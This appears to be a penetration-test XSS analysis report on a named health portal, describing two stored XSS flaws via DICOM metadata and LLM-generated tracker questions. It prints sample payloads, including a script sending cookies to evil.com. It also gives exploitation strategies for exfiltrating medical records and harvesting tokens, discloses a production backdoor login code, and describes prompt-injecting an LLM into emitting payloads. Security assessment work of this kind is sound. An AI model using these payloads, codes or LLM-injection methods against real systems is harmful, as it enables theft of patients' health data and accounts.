# Cross-Site Scripting (XSS) Analysis Report

## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** Two high-confidence Stored XSS vulnerabilities were identified in the inou health portal. Both vulnerabilities allow attackers to execute arbitrary JavaScript in victim browsers through malicious data injection. All findings have been passed to the exploitation phase via `deliverables/xss_exploitation_queue.json`.
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and environmental intelligence necessary to effectively exploit the vulnerabilities.

## 2. Dominant Vulnerability Patterns

### Pattern 1: Client-Side innerHTML Without Sanitization

**Description:** The application uses Go's `html/template` engine for server-side rendering, which provides automatic context-aware HTML escaping. However, multiple client-side JavaScript functions bypass this protection by fetching JSON data from APIs and directly injecting it into the DOM using `innerHTML` and `insertAdjacentHTML` without any sanitization.

**Implication:** While server-side rendered content is safe, any data path that flows through API endpoints and is consumed by client-side JavaScript is vulnerable to XSS if the JavaScript uses unsafe DOM manipulation methods.

**Technical Pattern:**
```javascript
// API returns JSON with unsanitized user data
const data = await fetch('/api/endpoint').then(r => r.json());

// JavaScript builds HTML string with template literals
const html = `<div>${data.userControlledField}</div>`;

// Direct injection into DOM without sanitization
element.innerHTML = html;  // XSS!
```

**Representative Findings:** XSS-VULN-01 (DICOM metadata), XSS-VULN-02 (Tracker questions)

**Root Cause:** Split rendering architecture where Go templates protect server-side but client-side JavaScript lacks equivalent protections.

---

### Pattern 2: Stored XSS via External Data Processing

**Description:** The application processes complex file formats (DICOM medical imaging, genetic CSV files) and LLM-generated content. These processing pipelines extract metadata and text that is stored in the database without HTML encoding. When this data is later rendered, it executes as JavaScript.

**Implication:** Any feature that processes external data formats or uses AI/LLM generation is a high-risk XSS vector unless explicit output encoding is implemented at the database storage layer or rendering layer.

**Attack Vectors:**
1. **DICOM Metadata Injection:** Upload malicious DICOM file with XSS payload in SeriesDescription tag → Stored in DB → Rendered via innerHTML
2. **LLM Prompt Injection:** Craft freeform input to manipulate LLM into generating XSS payload in tracker questions → Stored in DB → Rendered via innerHTML

**Representative Finding:** XSS-VULN-01 (external file format), XSS-VULN-02 (LLM generation)

**Root Cause:** Trust boundary violation - external untrusted data (DICOM files, LLM outputs) treated as safe and stored without encoding.

---

## 3. Strategic Intelligence for Exploitation

### Content Security Policy (CSP) Analysis

**Current CSP:** No Content-Security-Policy header detected during reconnaissance.

**Observation:** The application does NOT implement CSP restrictions.

**Implication for Exploitation:**
- Inline JavaScript execution is permitted (no `script-src` restrictions)
- External script loading is permitted (no domain restrictions)
- `eval()` and `Function()` constructors are permitted
- Inline event handlers (`onclick`, `onerror`) are permitted

**Exploitation Strategy:** XSS payloads can use the most straightforward attack vectors:
- `<img src=x onerror=alert(document.cookie)>` - Works
- `<script>fetch('https://evil.com?c='+document.cookie)</script>` - Works
- Inline event handlers in HTML attributes - Works

**Recommendation:** Prioritize simple, direct payloads. No need for CSP bypass techniques.

---

### Cookie Security

**Session Cookie Analysis:**
- **Cookie Name:** `login`
- **Cookie Value:** Plain dossier ID (16-character hex, e.g., `a1b2c3d4e5f67890`)
- **Cookie Attributes:** `HttpOnly=true, Secure=true, SameSite=Lax`

**Critical Finding:** The `HttpOnly` flag is set, which **prevents JavaScript from accessing the session cookie via `document.cookie`**.

**Alternative Session Token:**
- **Token Name:** `session` (used by some API endpoints)
- **Token Storage:** May also have HttpOnly flag (requires verification)

**Bearer Token Exposure:**
- **Location:** Mobile/API session tokens stored in `Dossier.SessionToken` field
- **Characteristics:** 64-character hex string, never expires
- **Access Method:** API endpoint `/api/v1/dashboard` returns this token in JSON

**Exploitation Strategy (Updated):**
Since session cookies are HttpOnly-protected, exploitation should focus on:
1. **Action-based attacks:** Perform unauthorized actions on behalf of the victim (CSRF via XSS)
2. **Data exfiltration:** Steal sensitive medical records via API calls from victim's session
3. **Token harvesting:** Use XSS to call `/api/v1/dashboard` and extract non-HttpOnly bearer tokens
4. **Credential harvesting:** Inject fake login forms to capture email addresses during verification flow

**Primary Exploitation Goal:** Data exfiltration and unauthorized medical record access, NOT cookie theft.

---

### Authentication Flow Analysis

**Passwordless Email Verification:**
- **Mechanism:** 6-digit verification codes sent via email
- **Backdoor Code:** `250365` (testing backdoor left in production)
- **Implication:** Attacker can create arbitrary accounts without email access

**Session Duration:**
- **Portal Cookies:** 30 days (long-lived)
- **Mobile Session Tokens:** Never expire
- **OAuth Access Tokens:** 15 minutes (then must refresh)

**Exploitation Consideration:** XSS payloads have a 30-day window to execute against victims who remain logged in.

---

### Database Encryption

**At-Rest Encryption:**
- **Mechanism:** AES-256-GCM encryption via master key at `/tank/inou/master.key`
- **Coverage:** All Entry records, Access grants, Dossier data encrypted in SQLite

**Implication for XSS:** Database encryption does NOT prevent XSS because:
1. Data is decrypted before being sent to API endpoints
2. API returns plaintext JSON to authenticated users
3. XSS executes in the victim's authenticated session context
4. Encryption protects data at rest, not data in transit to authenticated users

**Exploitation Impact:** XSS can still exfiltrate all medical records that the victim has access to.

---

## 4. Vectors Analyzed and Confirmed Secure

These input vectors were traced and confirmed to have robust, context-appropriate defenses.

| Source (Parameter/Field) | Endpoint/File Location | Defense Mechanism Implemented | Render Context | Verdict |
|--------------------------|-------------------------|--------------------------------|----------------|---------|
| User `name` field | `/onboard`, `/dossier/{id}/edit` | Go `html/template` auto-escaping | HTML_BODY | SAFE |
| User `email` field | `/verify`, `/dashboard` | Go `html/template` auto-escaping | HTML_BODY | SAFE |
| Dossier `Name` | All template-rendered pages | Go `html/template` auto-escaping | HTML_BODY | SAFE |
| Form `recipient_name` | `/dossier/{id}/share` | Go `html/template` auto-escaping | HTML_BODY | SAFE |
| DICOM `patient_name` | `/viewer/` overlay display | `textContent` assignment (JS) | HTML_BODY | SAFE |
| DICOM `study_desc` | `/viewer/` overlay display | `textContent` assignment (JS) | HTML_BODY | SAFE |
| URL `redirect_uri` | `/oauth/authorize` | Whitelist validation | URL_PARAM | SAFE |
| JSON API responses | `/api/v1/dossiers`, `/api/v1/entries` | N/A (consumed by client apps) | JSON | SAFE |
| Genetics data (gene, rsid, summary) | `/api/genome`, `/api/categories` | Stub implementation (returns empty) | N/A | NOT EXPLOITABLE |

### Notes on Safe Paths

**Go html/template Protection:**
The Go `html/template` package provides automatic context-aware escaping for all server-side rendered content. All instances of `{{.Variable}}` in `.tmpl` files are automatically escaped based on their HTML context (HTML body, attribute, JavaScript string, URL, etc.). This protection is robust and comprehensive for server-side rendering.

**Example of Safe Server-Side Rendering:**
```html
<!-- dossier.tmpl - User name is auto-escaped -->
<span class="nav-user-name">{{.Dossier.Name}}</span>

<!-- If Name = "<script>alert(1)</script>", rendered as: -->
<span class="nav-user-name">&lt;script&gt;alert(1)&lt;/script&gt;</span>
```

**textContent vs innerHTML:**
The viewer.js overlay uses `textContent` for patient names and study descriptions (viewer.js:167, 169), which automatically escapes HTML. This is the correct safe approach for displaying untrusted text.

**Genetics API Non-Functional:**
While the client-side code in `dossier.tmpl` contains vulnerable innerHTML injection for genetics data (lines 568-644), the actual API endpoints `/api/genome` and `/api/categories` are implemented as stub functions that return empty data (`lib/stubs.go:449-462`). Therefore, this code path cannot be exploited in the current deployment.

---

## 5. Analysis Constraints and Blind Spots

### Testing Limitations

**External Attacker Scope:**
- Analysis was conducted from an external attacker perspective accessing `https://inou.com` from the internet
- No internal network access, VPN, or direct server access was available
- Cannot test localhost-only endpoints (API server on port 8082, DICOM viewer on port 8765)

**Authentication Barriers:**
- Email verification required for account creation (6-digit codes sent to real email addresses)
- Backdoor code `250365` documented but not tested in live environment
- Could not create test accounts to verify live XSS execution
- Analysis based on comprehensive source code review and data flow tracing

**DICOM File Processing:**
- DICOM file upload and processing requires authenticated session
- External `/tank/inou/bin/import-dicom` binary source code analyzed (main.go in import-dicom repo)
- Could not upload actual malicious DICOM files to verify XSS execution
- Vulnerability confirmed through complete source-to-sink code trace

**LLM Integration:**
- Tracker question generation uses Google Gemini API
- Could not test prompt injection against live LLM to confirm XSS payload generation
- Vulnerability confirmed through code analysis showing no sanitization of LLM outputs

### Code Coverage

**Files Analyzed:**
- ✅ `/repos/inou-portal/portal/` - All handlers, templates, static JavaScript
- ✅ `/repos/inou-portal/api/` - All API endpoints and handlers
- ✅ `/repos/inou-portal/lib/` - Database layer, RBAC, encryption
- ✅ `/repos/inou-portal/main.go` - DICOM import binary
- ✅ All `.tmpl` template files for server-side rendering
- ✅ All `.js` static files for client-side behavior

**Potential Blind Spots:**
- Minified or bundled JavaScript (none identified in codebase)
- Third-party JavaScript libraries (minimal external dependencies found)
- WebSocket or real-time communication channels (none identified)
- Browser extensions or mobile app code (out of scope)

### Confidence Levels

**High Confidence Findings (2):**
- XSS-VULN-01: DICOM series_desc injection - Complete source-to-sink trace with no sanitization
- XSS-VULN-02: Tracker question injection - Complete source-to-sink trace with LLM prompt injection vector

**Not Exploitable (1):**
- Genetics data innerHTML injection - Stub API implementation returns empty data

**Safe Paths (8):**
- All server-side Go template rendering
- DICOM patient_name and study_desc (uses textContent)
- All documented in Section 4 table

---

